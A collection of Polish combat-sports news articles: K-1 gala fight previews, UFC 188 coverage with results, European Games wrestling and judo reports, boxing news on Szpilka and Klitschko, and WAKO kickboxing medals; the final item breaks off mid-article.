Mateusz Rycerski to wielokrotny Mistrz Polski Juniorów, Mistrz Polski Młodzieżowców  oraz Zawodowy Mistrz Polski Młodzieżowców. Startował głównie w Full Contact-cie, Light i Low Kicku oraz K1. Mateusz dopiero pół roku temu wznowił treningi po 3 letniej przerwie spowodowanej kontuzją (było nią zerwanie więzadła w kolanie) uniemożliwiającą mu starty w zawodach. Kontuzja nie wpłynęła jednak na jego chęć powrotu do walki. Pomimo trudów związanych z leczeniem i rehabilitacją Mateusz Rycerski znalazł w sobie olbrzymi zasób sił i chęci by dojść do formy. O jego aktualnym doskonałym przygotowaniu może świadczyć ostatni Mistrzostw Polski K1 w Legnicy. Wygrywa na nim jednogłośnie na punkty 3:0 pierwszą walkę z doskonałym Borysem Brodowskim z Klubu Duet Gdańsk. W ćwierćfinale rozprawia się z rewelacyjnym Pawłem Gierzyńskim z Palestry Warszawa. Walka ta była niezmiernie zacięta. Pierwsza rudna zakończyła się remisem. Drugą jednym punktem wygrał Mateusz, natomiast w rundzie trzeciej pokonał on swojego rywala jednogłośną decyzja sędziów 3:0. W półfinale wygrywa z doświadczonym Przemysławem Ziemnickim z KT Legia Warszawa. Ulega jednak w finale Kamilowi Rucie z MKS Wicher Kobyłka. Na przegraną niewątpliwy wpływ miały skutki ćwierćfinałowego starcia. Mateusz w finale przegrał na punkty, ale pozostawił po sobie wśród wszystkich bardzo dobre wrażenie.

Dawid Świerczyński to dobrze zbudowany zawodnik. Ten startujący od wielu lat instruktor Kickboxingu i Muay Thai to jednocześnie doświadczony zawodnik, który brał udział 8 walkach na ringach zawodowych. Jego największym osiągnięciem jest zdobycie Pasa Międzynarodowego Zawodowego Mistrza Słowacji K1 w kategorii 81 kg. Dawid Świerczyński brał również udział w gali Big-Fight w Kłajpedzie oraz galach zawodowych K1 w Polsce. Zajął II miejsce w Pucharze Słowacji K1 w Bańskiej Bystrzycy oraz II miejsce na Slovak Open K1 w Bardejovie.

Obaj, zarówno Mateusz Rycerski, jak i Dawid Świerczyński, to doświadczeni zawodnicy, którzy posiadają olbrzymi potencjał. Ich walka zapowiada się niezmiernie ciekawie i na pewno dostarczy wszystkim wiele emocji.

źródło: informacja prasowa

Zawodni kontra Proszek

Bardzo ciekawie zapowiada się walka w kategorii wagowej do 91 kg. W tej kategorii spotka się dwóch świetnie zbudowanych zawodników, Jarosław zawodni wzrost 187 cm oraz Patryk Proszek wzrost 186 cm. Obecnie ważą po 96/97 kg ale jak wiadomo w dniu gali muszą mieć po 91 kg. Obaj to bardzo doświadczeni zawodnicy.

Jarosław Zawodni, z klubu z KO Gym Świebodzice, ksywka „Jaro”, trenuje sztuki walki od 1996 roku. Zaczynał od Kyokushinkai. Pierwszy medal zdobył już 2002 roku. Były to  Mistrzostwach Polski Juniorów w Karate i zaczął od zdobycia I miejsca. Od tej chwili wygrywa w najróżniejszych turniejach. Przez 6 lat startował w wielu mistrzostwach karate Kyokushinkai w Holandii, Rosji, Anglii  i w Polsce. Zajął między innymi I miejsce w 1st Holland Cup of Kyokushinkai Karate w Bredzie w 2007 r., 2 miejsce w European Championship of Kyokushinkai Karate w Kazaniu w 2007 r. i ponownie w Bredzie w 2008 r. 2 miejsce oraz tytuł najlepszego technika.  W tym samym roku w Mistrzostwach Polski w Knockdown Karate Kyokushinkai zajmuje 2 miejsce i otrzymuje tytuł najlepszego technika.

""

Jarosław Zawodni startował również zawodowych walkach w Muay Thai, gdzie zdobył w 2009 roku I miejsce w Międzynarodowym Turnieju Muay Thai „KRÓLOWIE RINGU”. W tym samym roku zajmuje I miejsce w Międzynarodowym Pucharze Polski Muay Thai. Kolejne sukcesy Jarka to I miejsce w Mistrzostwach Polski Muay Thai IFMA w 2010 r., I miejsce w Pucharze Europy Muay Thai w Dreźnie i 3 miejsce w Mistrzostwach Świata IFMA Muay Thai w Taszkiencie w Uzbekistanie w 2011 roku. Jarek w zeszłym roku zajął I miejsce w Mistrzostwach Polski Muay Thai IFMA w Świebodzicach.

Jarosław Zawodni to zawodnik walczący również w kickboxingu. Na jego koncie znajdują się I miejsce w Międzynarodowych Mistrzostwach Polski K1 Rules w Gdańsku w 2011 r., II miejsce w kategorii 91 kg na Pucharze Świata K1 w Szeged na Węgrzech, I miejsce w kategorii 95 kg w Mistrzostwach Świata K1 w Londynie oraz I miejsce w kategorii 91 kg w Pucharze Polski K1 Rules w Nowym Targu. Wszystkie te tytuły zdobył w ubiegłym roku.

Jarek walczy nie tylko amatorsko ale również zawodowo. Na jego koncie znajdują się między innymi wygrane walki zawodowe w Gali Kickboxingu w Szydłowcu w 2009 oraz w Bitwie Pod Legnicą K1 w kategorii 86 kg w 2013 r.. Jarek Zawodni zdobył pas Zawodowego Mistrza Polski K1 w kategorii 86 kg w pierwszej edycji Gali FIGHTERS NIGHT w Ostrowcu Świętokrzyskim w 2012 r.

Z Patrykiem Proszkiem ksywka „Proch” ostatni raz walczyli na Mistrzostwach Polski w Low Kicku w Kobyłce w marcu bieżącego roku. Tam okazał się lepszym Patryk, który znokautował Jarka w pierwszej rundzie. Na Gali Kickboxingu Zawodowego K-1 Rules  IMBIRIADA FIGHTERS NIGHT 4 spotkają się po raz kolejny, ale to będzie walka zawodowa. Tutaj trzeba być inaczej przygotowanym. Wydaje się nam, że ta walka nie będzie tak krótka i tak łatwa dla Patryka Proszka, jak poprzednia. Jarek twierdzi, że nokaut na Mistrzostwach Polski to był tylko przypadek.

Patryk Proszek z Klubu Boxing Zielona Góra, jest zawodnikiem nietypowym, walczącym bardzo różnorodnie. Potrafi mieć bardzo nisko postawioną gardę, szybko pracuje na nogach, uderzając potężne prawe sierpowe czy też prawe proste. Trenuje od 14 lat. Ma na swoim koncie około 150 walk amatorskich w Kickboxingu. Jest to wielokrotny Mistrz Polski w różnych formułach, a także zdobywca w Low Kicku I miejsca w kategorii 91 kg w Pucharze Świata w Szeged na Węgrzech oraz III miejsca w kategorii 86 kg na Mistrzostwach Świata w Macedonii. W bieżącym roku Patryk otrzymuje tytuł Mistrza Polski Low Kick w kategorii 91 kg.

Startował również w boksie i ma na swoim koncie stoczonych ponad 20 walk. Są to wyniki bardzo imponujące.

Obaj odgrażają się i czekają na walkę. Jarek chce zmyć blamaż z ostatnich Mistrzostw w Low Kick, a Patryk chce pokazać, że jest lepszym zawodnikiem. Jeśli brać pod uwagę wiek, doświadczenie w walkach zawodowych to bezspornie przewaga jest po stronie Jarka Zawodniego, który ma na swoim koncie 11 walk zawodowych i 89 amatorskich. W walkach amatorskich przewagę ma na pewno Patryk Proszek. Na swoim koncie ma on prawie 170 walk, czy to w boksie czy też kickboxingu, w tym ponad 100 wygranych. W zawodowych ma na swoim koncie tylko 6 walk. Kto będzie lepszy, okaże się już za półtorej tygodnia na Gali Kickboxingu Zawodowego K-1 Rules  IMBIRIADA FIGHTERS NIGHT 4, na którą wszystkich serdecznie zapraszamy.

źródło: informacja prasowa

Velasquez na kolanach

Nieudany powrót Caina Velasqueza. Po ponad półtorarocznej przerwie Amerykanin pojawił się w oktagonie i przegrał. Fabricio Werdum pokazał swoją wartość.

Podczas UFC 188 w Meksyku spotkali się dwaj czołowi zawodnicy wagi ciężkiej. Doszło do starcia, na którego z niecierpliwością oczekiwano. Amerykanin i Brazylijczyk mieli się spotkać podczas gali UFC 180, jednak kontuzja Velasqueza sprawiła, że do pojedynku nie doszło. 32-latek długo czekał na powrót, ale dostał możliwość walki na szczycie. Pojedynek z Werdumem był dla niego ogromnym wyzwaniem.

Fabricio mistrz

Mistrzostwo UFC wagi ciężkiej to ogromny prestiż. O ten laur przyszło się mierzyć dwóm tytanom mieszanych sztuk walki. Werdum po pokonaniu Marka Hunta dzierżył w swoich dłoniach tytuł tymczasowego czempiona. W starciu z Velasquezem chciał potwierdzić, że w pełni zasłużył na pas i przewyższa Amerykanina pod względem umiejętności.

Jednak każdy doskonale wie, że były zapaśnik jest doskonałym zawodnikiem. Tyle, że Velasqueza trapiły kontuzje, przez które rozwój jego kariery zatrzymał się. Pasjonujące bitwy z Juniorem Dos Santosem wszyscy wspominają jako pojedynki wybitne. Velasquez chciał nawiązać do swoich najlepszych czasów i wrócić w olśniewającym stylu. Tyle, że przerwa zrobiła swoje. Mimo, iż Werdum jest starszy o pięć lat od Amerykanina, to fakt, że regularnie walczy robi swoje. Brazylijczyk był w dobrej kondycji i w Meksyku udowodnił swoją wartość.

Już od początku starcia Werdum narzucił swoje warunki. 37-latek był skuteczniejszy, jego ciosy dochodziły do celu. Brazylijczyk prowadził walkę, dominował w stójce i imponował przygotowaniem kondycyjnym.  A Velasquez  z minuty na minutę wyglądał na coraz bardziej ociężałego. Pierwszą odsłonę Amerykanin jeszcze przetrwał, ale w drugiej zaczęło brakować mu sił. Werdum jest zawodnikiem wyśmienitym, więc takiej okazji nie mógł przegapić. Brazylijczyk używał kolan, a Velasquez nie potrafił odpowiedzieć. W trzeciej rundzie Amerykanin chciał spróbować swoich sił w parterze, ale zabrakło elementu szybkości. Podczas jednego ze sprowadzeń Werdum wykorzystał swoją gibkość i zaskoczył rywala duszeniem gilotynowym. Było po pojedynku.

Zaskoczenie

Mimo wszystko. Werdum był o klasę lepszy, jednak przed pojedynkiem stawiano na Velasqueza. Choć Amerykanin wracał po długiej przerwie był faworytem. Doświadczony Werdum pokazał, że skreślono go przedwcześnie i został mistrzem UFC wagi ciężkiej.

Ciężkie chwile w Meksyku przeżył Nate Marquardt. Kelvin Gastelum rozbił swojego rywala w stójce i mógł cieszyć się ze zwycięstwa w drugiej rundzie. Emocjonujące starcie w wadze lekkiej pomiędzy Alvarezem, a Melendezem. O wszystkim decydowali sędziowie, ale nie byli zgodni. Niejednogłośnie na punkty wygrał Alvarez. Po niespełna minucie walki odklepać musiał Drew Dober. Skuteczna gilotyna zapewniła zwycięstwo Efrainowi Escudero. Zaledwie dwadzieścia trzy sekundy potrzebował Patrick Williams, aby poddać Alejandro Pereza.

Wyniki UFC 188:

 

Walka o pas mistrza UFC w wadze ciężkiej
120 kg: Fabricio Werdum pok. Caina Velasqueza przez poddanie 

70 kg: Eddie Alvarez pokonał Gilberta Melendeza przez niejednogłośną decyzję 
84 kg: Kelvin Gastelum pokonał Nate'a Marquardta przez TKO
66 kg: Yair Rodriguez pokonał Charlesa Rosę przez niejednogłośną decyzję 
52 kg: Tecia Torres pokonał Angelę Hill przez jednogłośną decyzję 

57 kg: Henry Cejudo pokonał Chico Camusa przez jednogłośną decyzję 
70 kg: Efrain Escudero pokonał Drew Dobera przez poddanie
61 kg: Patrick Williams pokonał Alejandra Pereza przez poddanie 
70 kg: Johnny Case pokonał Francisca Trevino przez jednogłośną decyzję 
77 kg: Cathal Pendred pokonał Augusta Montano przez jednogłośną decyzję 
66 kg: Gabriel Benitez pokonał Claya Collarda przez jednogłośną decyzję 

KM

Dziewczyny na medal

Katarzyna Krawczyk i Iwona Matkowska stanęły na podium Igrzysk Europejskich w Baku. Odpowiednio wywalczyły: srebro i brąz.

Nasze zapaśniczki od początku sezonu prezentowały równą i stabilną formę. Do Baku jechały z nadziejami, które kierowały ich uwagę na zdobycie medalu. Zapaśniczki osiągnęły sukces.

Srebrna Krawczyk

25-letnia Polka szła jak burza. Walcząca w kategorii 55kg w stylu wolnym Krawczyk pokonywała kolejne rywalki. Była zdeterminowana i szła w kierunku medalu. W pierwszym pojedynku Polka trafiła na Irinę Nikołową z Bułgarii. Krawczyk dobrze rozpoczęła pojedynek – od wygranej w pierwszej rundzie, później rywalizacja wyrównała się. Druga odsłona na remis, ale to wystarczyło Polce do uzyskania awansu do ćwierćfinału. Tam czekała już Mathilde Riviere z Francji. Scenariusz tego pojedynku był nieco inny. Pierwsza runda w wykonaniu obu zapaśniczek uważna i spokojna. Padł remis i to druga odsłona miała wyłonić zwyciężczynię. Krawczyk przystąpiła do ataku i nie dała szans zawodniczce z Francji – 6:0. Polka była już w strefie medalowej.

Irina Ogołonowa okazała się wymagającą rywalką. Polka musiała dać z siebie wszystko, aby odnieść sukces. Pierwsza runda zacięta, ale z lekką przewagą Krawczyk. 25-latka zwyciężyła 4:2 i nieco spokojniej mogła przystąpić do drugiej odsłony. Ogołonowa trochę osłabła, ale wierzyła w zwycięstwo. Druga runda zakończyła się remisem, co oznaczało wygraną reprezentantki Polski i jej awans do finału.

W decydującej walce Krawczyk trafiła na utytułowaną rywalkę – Sofię Mattsson. Szwedka w swojej kolekcji ma medale mistrzostw Europy i świata. W 2014 roku okazała się najlepszą zawodniczką Starego Kontynentu. Polka po wyczerpującej półfinałowej walce przystąpiła do rywalizacji o złoty medal. Mattsson okazała się zbyt silną przeciwniczką. Szwedka nie dała szans Krawczyk i pokonała ją przed czasem. Mimo to Polka osiągnęła ogromny sukces – zdobyła srebrny medal na I Igrzyskach Europejskich.

Brązowa Matkowska

Gdyby nie zawodniczka z Azerbejdżanu, również druga z naszych zapaśniczek rywalizowałby o złoto. Matkowska walcząca w kategorii 48kg w ćwierćfinale uległa Mariji Stadnik.

Udział w rywalizacji w Baku Polka rozpoczęła od walki z Emilią Vuc. Zawodniczka z Rumunii nie sprawiła Polce większych problemów, tak jak i kolejna rywalka. W 1/8 finału Matkowska trafiła na Holenderkę Jessicę Blaszkę. Zapaśniczka z Niderlandów nie miała najmniejszych szans w starciu z Polką. Okazało się, że w ćwierćfinale  Matkowska trafiła na przeszkodę nie do przejścia. Stadnik wygrała na punkty. Polka musiała zadowolić się walką o brązowy medal, a o miejsce na podium przyszło jej rywalizować z Julie Sabatie.

Matkowska już w pierwszej rundzie pokazała, że zależy jej na osiągnięciu sukcesu. Po trzydziestu sekundach zdobyła pierwsze dwa punkty, a później w parterze dołożyła kolejne  i było 4:0. W drugiej rundzie Francuzka starała się atakować Polkę, jednak ta stosowała skuteczne uniki. Matkowska wyczekała rywalkę i stosowała punktowe ataku. Polka zwyciężyła 8:0 i potwierdziła swoją wyższość nad Francuzką. Brązowy medal trafił do Matkowskiej.

KM

Pieńkowska przyćmiła Kłys

W Grand Prix w Budapeszcie w judo wystartowały dwie Polki. Na pierwszy rzut oka wydawać by się mogło, że Karolina Pieńkowska zbiera dopiero szlify, a Katarzyna Kłys walczy o zwycięstwo. Nic bardziej mylnego.

Choć Kłys jest bardziej doświadczona i utytułowana, to w Budapeszcie tego nie potwierdziła. Brązowa medalistka ubiegłorocznych mistrzostw świata, które odbyły się w Czelabińsku do stolicy Węgier pojechała szlifować formę przed pierwszymi w historii Igrzyskami Europejskimi. Z jakim efektem?

Nieudana dogrywka

Kłys stara się nawiązać do dobrych występów z poprzedniego sezonu, jednak różnie jej to wychodzi. Grand Prix w Budapeszcie miało pokazać w jakim punkcie znajduje się nasza judoczka przed startem w Baku. Okazuje się, że przed Kłys dużo pracy, a czasu praktycznie nie ma. 29-letnia judoczka w poprzednim sezonie radziła sobie bardzo dobrze i w większości zawodów była w czołówce. W Budapeszcie rozczarowała.

Polka, która startowała w kategorii 70kg była rozstawiona w zawodach, dzięki czemu w pierwszej rundzie miała wolny los. Zatem rywalizację rozpoczęła od 1/8 finału. Z jednej strony to dobrze, a z drugiej z marszu musiała przystąpić do rywalizacji. Polka trafiła na waleczną Hiszpankę Marię Bernabeu. W regulaminowym czasie nie udało się wyłonić zwyciężczyni. Zarówno Kłys jak i Bernabeu otrzymały po jednej karze shido i konieczna okazała się dogrywka. W tej lepiej spisała się Hiszpanka, chociaż nie zakończyła efektownie walki. Kłys dostała kolejną karę i musiała pogodzić się z porażką.

Zawodniczka Polonii Rybnik w Budapeszcie stoczyła jedną walkę, co nie daje odpowiedzi na pytanie dotyczące jej dyspozycji. Mimo to pojawia się niepokój dotyczący szans Kłys w Baku. Polka w imprezach najwyższej rangi potrafi się zmobilizować, ale ten sezon nie idzie po jej myśli. Czy przełamanie nastąpi w Baku?

Pieńkowska przegrała z triumfatorką

Dla Karoliny Pieńkowskiej start w Budapeszcie był kolejnym etapem przygotowań do Uniwersjady w Korei Południowej. 21-letnia judoczka AZS-u UW Warszawa stopniowo zdobywa doświadczenie i coraz lepiej prezentuje się zawodach międzynarodowych. Startująca w kategorii 52kg Polka w stolicy Węgier radziła sobie bardzo dobrze do ćwierćfinału.

Na początek Pieńkowska trafiła na zawodniczkę gospodarzy Lucę Polgar, jednak 21-latka uporała się ze swoją rywalką. W kolejnej walce trafiła na Roni Schwartz z Izraela. Po tym pojedynku Pieńkowska mogła przygotowywać do rywalizacji o start w półfinale. W ćwierćfinale Polka trafiła na Mareen Kraeh i Niemka okazała się przeszkodą nie do przejścia. Do walki o medale zabrakło niewiele, gdyż Pieńkowska przegrała zaledwie jedną karą shido. Polka stoczyła jeszcze jeden pojedynek. W repasażach Pieńkowska spotkała się z Laurą Gomez, ale przegrała przez ippon i ostatecznie rywalizację w Budapeszcie zakończyła na siódmym miejscu. Najlepsza w kategorii 52kg okazała się Kraeh.

KM

Szybkie działanie Szpilki

Pobyt Artura Szpilki w USA ma służyć jego rozwojowi. Bokser z Wieliczki jest obecnie najwyżej notowanym polskim pięściarzem wagi ciężkiej i z nadzieją patrzy w przyszłość. Podczas gali Premier Boxing Champions w pojedynku z Manuelem Quezadą udowodnił swoją wyższość.

37-latek raczej do orłów nie należy, a najlepsze czasy ma już dawno za sobą. Do pojedynku ze Szpilką przystępował po kolejnych pięciu porażkach. Bez wątpienia faworytem walki był Szpilka, czyli bokser szybszy, sprawniejszy i skuteczniejszy. „Szpila” dostał kolejnego rywala na przetarcie, tak jak i w przypadku poprzedniego występu, w którym zmierzył się z Ty’em Cobbem.

Od początku starcia wyraźnie zarysowała się przewaga Polaka, który kontrolował przebieg pojedynku i wyprowadzał skuteczne ciosy. Quezada postawił na obronę, jednak nie zawsze spełniała ona swoją rolę. Szpilka był konsekwentny – co i raz rozbijał gardę swojego rywala. Traktował go kombinacjami, często też pracował prawym prostym. Polak był zdecydowanie szybszy, co utrudniało działanie Quezadzie. Z upływem kolejnych minut 37-latek wyglądał na zniechęconego, jakby chciał już zmienić otoczenie. Quezada na ringu nie spędził wiele czasu. Po trzech rundach zrezygnował z dalszej rywalizacji. Tym samy Szpilka zapisał na swoim koncie dziewiętnaste zwycięstwo w karierze. Opuszczającego ring w Chicago Quezadę żegnały gwizdy.

Nie ma, co ukrywać, że „Szpila” dostał kolejnego rywala na roztrenowanie. Z pięściarzami takimi jak Quezada 26-latek powinien rozprawiać się z zamkniętymi oczami. Szpilka musi przyzwyczaić się do amerykańskiej specyfiki, standardów. Treningi z Ronnim Shieldsem są wymagające, ale wpływają na rozwój umiejętności pięściarza. Dwie walki w USA i dwa zwycięstwa. Czy kolejny pojedynek również będzie wyglądał podobnie? Słychać głosy, wedle których na jesieni Szpilka ma zmierzyć się z poważnym rywalem. Mówi się o Steve Cunninghamie. Warto sprawdzić, na co tak naprawdę stać „Szpilę” i w jakim punkcie kariery obecnie znajduje się. Wiadomo, że przez całą karierę nie będzie walczył z kelnerami. Z kolei w Polsce udowodnił swoją wartość i pokazał, że obecnie jest najlepszy w kraju. W pojedynku z Tomaszem Adamkiem „Szpila” charakteryzował się rozsądkiem oraz dużym spokojem, czyli elementami, o które wcześniej trudno było go posądzać.

W swojej dotychczasowej karierze Szpilka zanotował jedną porażkę. Wydawało się, że Polak będzie szedł konsekwentnie krok po kroku do przodu, ale zatrzymał go Bryant Jennings. Dla Szpilki to cenne doświadczenie, które może zaowocować. Bokser musi pamiętać, że każdemu rywalowi należy się szacunek. Nie da się ukryć, że postawa Polaka w ringu zmieniła się. Teraz wygląda inaczej i widać tego efekty. Pobyt w USA ma mu służyć. Jak to wszystko potoczy się dalej? Zobaczymy, kto będzie kolejną przeszkodą Szpilki na drodze do mistrzostwa świata.

KM

Kliczko czeka na Wildera

Mistrz z Ukrainy nadal chce walczyć o najwyższe cele. W jego kolekcji brakuje mu mistrzowskiego pasa WBC, dlatego też Władimir Kliczko poważnie myśli o pojedynku z Deontayem Wilderem.

Ukrainiec będzie musiał odłożyć swoje plany w czasie. Starcie z Wilderem jest jak najbardziej realne, jednak na obecną chwilę do niego nie dojdzie. Najwcześniej na początku przyszłego roku. Kliczko jesienią zmierzy się Tysonem Furym, który jest obowiązkowym pretendentem do pasa WBO. Anglik słynie z niewyparzonego języka i wielokrotnie wyrażał chęć walki z Ukraińcem, podkreślając przy tym, że go pokona. Fury będzie miał okazję wcielić swoje słowa w życie, ale jak pokazuje doświadczenie – różnie z tym bywa. Wystarczy wspomnieć Davida Haye’a , który odgrażał się, ale i tak przegrał z Kliczko. Z pewnością Fury ma możliwości, aby sprawić niespodziankę. Anglik jest młody, szybki i ma mocny cios, jednak Kliczko to pięściarz doświadczony i potrafi przygotować się do rywalizacji. Choć Fury może przysporzyć mu kłopotów.

Brakujący pas

Jednak Ukrainiec myśli o Wilderze. To mógłby być pojedynek rodem z „Gwiezdnych wojen”. Wilder to pięściarz maszynka, który rozbija to, co stanie na jego drodze. W swojej karierze tylko raz rozstrzygnął pojedynek na punkty, a było to walce o mistrzostwo świata WBC z Bermane Stivernem. Amerykanin jest królem nokautów. Zazwyczaj jego walki nie trwają dłużej niż cztery rundy! A w dużej części swoich rywali kładł na deski już w pierwszej rundzie. Kliczko chce się spotkać z Wilderem i udowodnić, kto jest prawdziwym mistrzem. Ponadto, Ukrainiec chce uzupełnić braki w swojej kolekcji i zyskać pas WBC. Jednak zaznacza, że nie jest to konieczne. – Jednym z moich celów jest pojedynek z Wilderem. Chcę z nim walczyć od momentu, w którym sięgnął po tytuł, którego nie zdobyłem. Chcę zunifikować wszystkie pasy, ale nie muszę tego robić. Jeśli nie dojdzie do walki nadal pozostanę mistrzem – powiedział Kliczko.

Ukrainiec przygotowuje się do starcia z Furym, a najbliższym rywalem Wildera będzie Eric Molina. 33-latek przegrał dwa razy w swojej karierze – w debiucie oraz trzy lata temu z Chrisem Arreolą. Ostatnio wygrał z Raphaelem Zumbano Love i była to jego piąta wygrana z rzędu.

Brytyjska potyczka?

Do ciekawego starcia mogłoby dojść w Wielkiej Brytanii, ale wydaje się, iż jest to melodia przyszłości. Fantastycznie rozwija się Anthony Joshua, który pokonuje kolejnych rywali. Z kolei po przerwie na ring zamierza wrócić David Haye. 34-latek nie ukrywa, że chciałby zmierzyć się z młodszym kolegą. – O tym, czy dojdzie do mojej walki z Joshuą zadecyduje wiele czynników.  Konieczne jest, abym wrócił na ring. Z kolei Joshua musi nadal wygrywać. On i ja jesteśmy z Londynu. Gdyby doszło do naszej walki, byłoby to wielkie wydarzenie – powiedział Haye.

KM

Ciężki pojedynek

Cierpliwość popłaca. Fabricio Werdum w końcu doczekał się na pojedynek z Cainem Velasquezem. Prędzej czy później i tak by do niego doszło.

Długa historia

Starcie Brazylijczyka i Amerykanina planowane było już wcześniej, jednak kłopoty zdrowotne Velasqueza wykluczyły walkę. Zawodnicy mieli spotkać się podczas UFC 180. Ostatecznie Werdum walczył z Markiem Huntem.

Problemem Velasqueza są liczne kontuzje, które uniemożliwiają mu regularne starty. Z pojedynku z Werdumem wyeliminował go uraz łąkotki kolana. Wcześniej Amerykanin zmagał się z kontuzją barku, której doznał tuż po zdobyciu mistrzostwa wagi ciężkiej. Przerwa Velasqueza trwała osiem miesięcy. Ponadto, w 2012 roku poddał się operacji kolana. Dolegliwości zdrowotne towarzyszą Amerykaninowi praktycznie na każdym kroku.

Po blisko siedmiu miesiącach od UFC 180 w końcu dojdzie do spotkania Werduma i Velasqueza. W oktagonie staną naprzeciw siebie dwaj wielcy zawodnicy.

Wyczekiwane starcie

13 czerwca w Meksyku spotkają się dwie gwiazdy UFC. Velasquez w swoich dotychczasowych występach poniósł zaledwie jedną porażkę. Amerykanin przegrał z Juniorem Dos Santosem w listopadzie 2011 roku, jednak szybko wziął rewanż na Brazylijczyku. Velasquez dwukrotnie udowodnił swoją wyższość. Po raz ostatni pojawił się w oktagonie w październiku 2013 roku, czyli w pojedynku z Werdumem wróci do rywalizacji po ponad półtorarocznej przerwie. Czy podoła wymaganiom?

Warto nadmienić, że Velasquez wypadł z rytmu. Od wspomnianej porażki z Dos Santosem walczył zaledwie cztery razy. Stosując prostą matematykę wychodzi, że w ostatnim czasie pojawiał się w oktagonie zaledwie raz na rok. A trzeba pamiętać, że miał jeszcze długą przerwę. Zatem zasadne jest pytanie o kondycję Velasqueza i jego obecne możliwości, które pozostają zagadką.

Wiadomo, że Amerykanin ma ogromny potencjał. Fabricio Werdum jest w o tyle lepszej sytuacji, że zna swoje możliwości. Brazylijczyk walczy regularnie i jest pewny siebie, a umacniają go w tym ostatnie dokonania. 37-latek wygrał pięć ostatnich pojedynków, w których uporał się m.in. z Royem Nelson czy Antonio Nogueirą. Ostatnią walkę stoczył podczas UFC 180, kiedy pokonał Marka Hunta. Czy Velasquez jest w stanie przypomnieć Brazylijczykowi jak smakuje porażka? Werdum po raz ostatnim przegrał w 2011 roku, a jego pogromcą był Alistair Overeem.

Walka o stawkę

Dwa mocne nazwiska. Stawką pojedynku będzie pas mistrza UFC w wadze ciężkiej. Werdum nie będzie chciał go oddać, a Velasquez dołoży wszelkich starań, aby w dobrym stylu wrócić do oktagonu. Amerykanin jest młodszy, ale ma za sobą długą przerwę w startach. Werdum to doświadczenie i regularność. Amerykanin nie ma wątpliwości, że to będzie fantastyczny pojedynek. – Jestem gotowy na to starcie. Walka będzie twarda i pełna emocji. Werdum jest coraz lepszy, ale ja także.  Czekam na pojedynek w Mexico City.

KM

Pojechali, zwyciężyli i wrócili

Idealny wręcz scenariusz. Podczas prestiżowych zawodów Pucharu Świata WAKO Bestfighter Polacy zdobyli osiemnaście medali. Kickboxing po raz kolejny uwydatnił swój potencjał.

Takie też były przewidywania. Polacy pojechali do Włoch po medale i w celu wzmocnienia formy przed najważniejszymi startami w sezonie. W rywalizacji z mocnymi fighterami nasi reprezentanci pokazali wysokie umiejętności. Dwudziestosiedmioosobowa kadra wywalczyła osiemnaście medali – siedem złotych, cztery srebrne i siedem brązowych.

Polacy z dobrej strony pokazali się w low kicku. Pięć złotych medali najlepiej świadczy o możliwościach naszych reprezentantów. Po raz kolejny dobrą formę potwierdziła Marta Waliczek, która na krajowym podwórku nie ma sobie równych. Okazuje się, że w zawodach międzynarodowych prezentuje równie wysoki poziom i pokonuje kolejne przeszkody. Tym razem Polka walcząca w kategorii 65kg pokonała Sarę Surrel z Francji. Złoto zawisło również na szyi Iwony Nierody (56kg). To kolejny medal zawodniczki Diamentu Pstrągowa, która ustawicznie powiększa swoją kolekcję. W finałowym pojedynku Nieroda rywalizowała z mocną Francuską Emmą Gongorą, jednak dobre przygotowanie do walki i konsekwencja pozwoliły Polce odnieść triumf. Warto zauważyć, że w low kicku biało – czerwoni mieli szczęście do reprezentantów Francji. Mateusz Białecki (67kg) również triumfował po wygranej z zawodnikiem Trójkolorowych. Dobrą dyspozycję potwierdził Łukasz Kaczmarczyk. W kategorii 71kg Polak uporał się z Witalijem Dubiną z Ukrainy. O miejsce w kadrze na mistrzostwa świata walczy nadal Patryk Zaborowski (91kg). Po występie w Rimini z pewnością bardzo przybliżył się do wyjazdu do Serii. We Włoszech Zaborowski zdobył złoto, a w finale w dobrym stylu uporał się z reprezentantem gospodarzy Lorenzo Scalzim, którego odprawił w drugiej rundzie.

Jako jedyny w formule kick light Polskę reprezentował Piotr Wypchał (94kg) i to w jakim stylu. Zawodnik z Krakowa wywalczył złoty medal. Najwięcej krążków odnotowaliśmy w full contact, gdzie Polacy zdobyli ich aż dwanaście, ale tylko jeden koloru złotego. Ze świetnej strony pokazał się Kacper Frątczak (81kg), który zajął pierwsze miejsce i mógł cieszyć się z wygranej. Dla 19-latka to ogromne osiągnięcie. Zwłaszcza, że po drodze Frątczak odprawił mistrza Europy WAKO PRO Artura Raisa. Swoich sił w wyższej kategorii spróbował Mateusz Kubiszyn, który zazwyczaj walczy w 86kg. We Włoszech wystartował w 91kg i zdobył srebrny medal. Polak był blisko triumfu, gdyż w finale rywal z Norwegii był już liczony, ale mimo to udało mu się odnieść zwycięstwo. Nadzieje spełnił Wojciech Peryt, który w kategorii 54kg zdobył srebro. Krążek tego koloru wywalczyły również Gabriela Bednarowicz (56kg) oraz Anna Kołodziejska (+70kg). Z dobrej strony w debiucie zaprezentował się Michał Grzesiak (91kg), który sięgnął po brązowy medal. W wyższej kategorii wagowej na trzeciej pozycji uplasował się Jakub Kozera. Ponadto po brązowe medale sięgały panie: Karolina Mośko (48kg), Emilia Czerwińska (60kg), Kamila Berek (65kg) i Karolina Dziedzic (70kg).

Start w Rimini w wykonaniu naszych reprezentantów był udany. Osiemnaście medali to wynik, który potwierdza miejsce Polski na mapie światowego kickboxingu. Oby na mistrzostwach świata w Belgradzie (low kick) i Dublinie (full contact) Polacy również zajmowali miejsca na szczycie.

KM

Pech Jotki, Częstochowa bez KSW

Krzysztof Jotko cały czas czeka na powrót do oktagonu po kontuzji. Odpadają kolejni rywale Polaka. W październiku w Częstochowie miała odbyć się kolejna gala KSW, ale ostatecznie do niej nie dojdzie.

Rywale wykruszają się

Polski fighter bardzo chce w końcu zaprezentować się w oktagonie. Jotko jest głodny walki. Nie walczył przez osiem miesięcy z powodu kontuzji ręki, jednak doszedł już do zdrowia i w końcu chciałby pojawić się w oktagonie. Tyle, że wszystko cały czas pod górę…

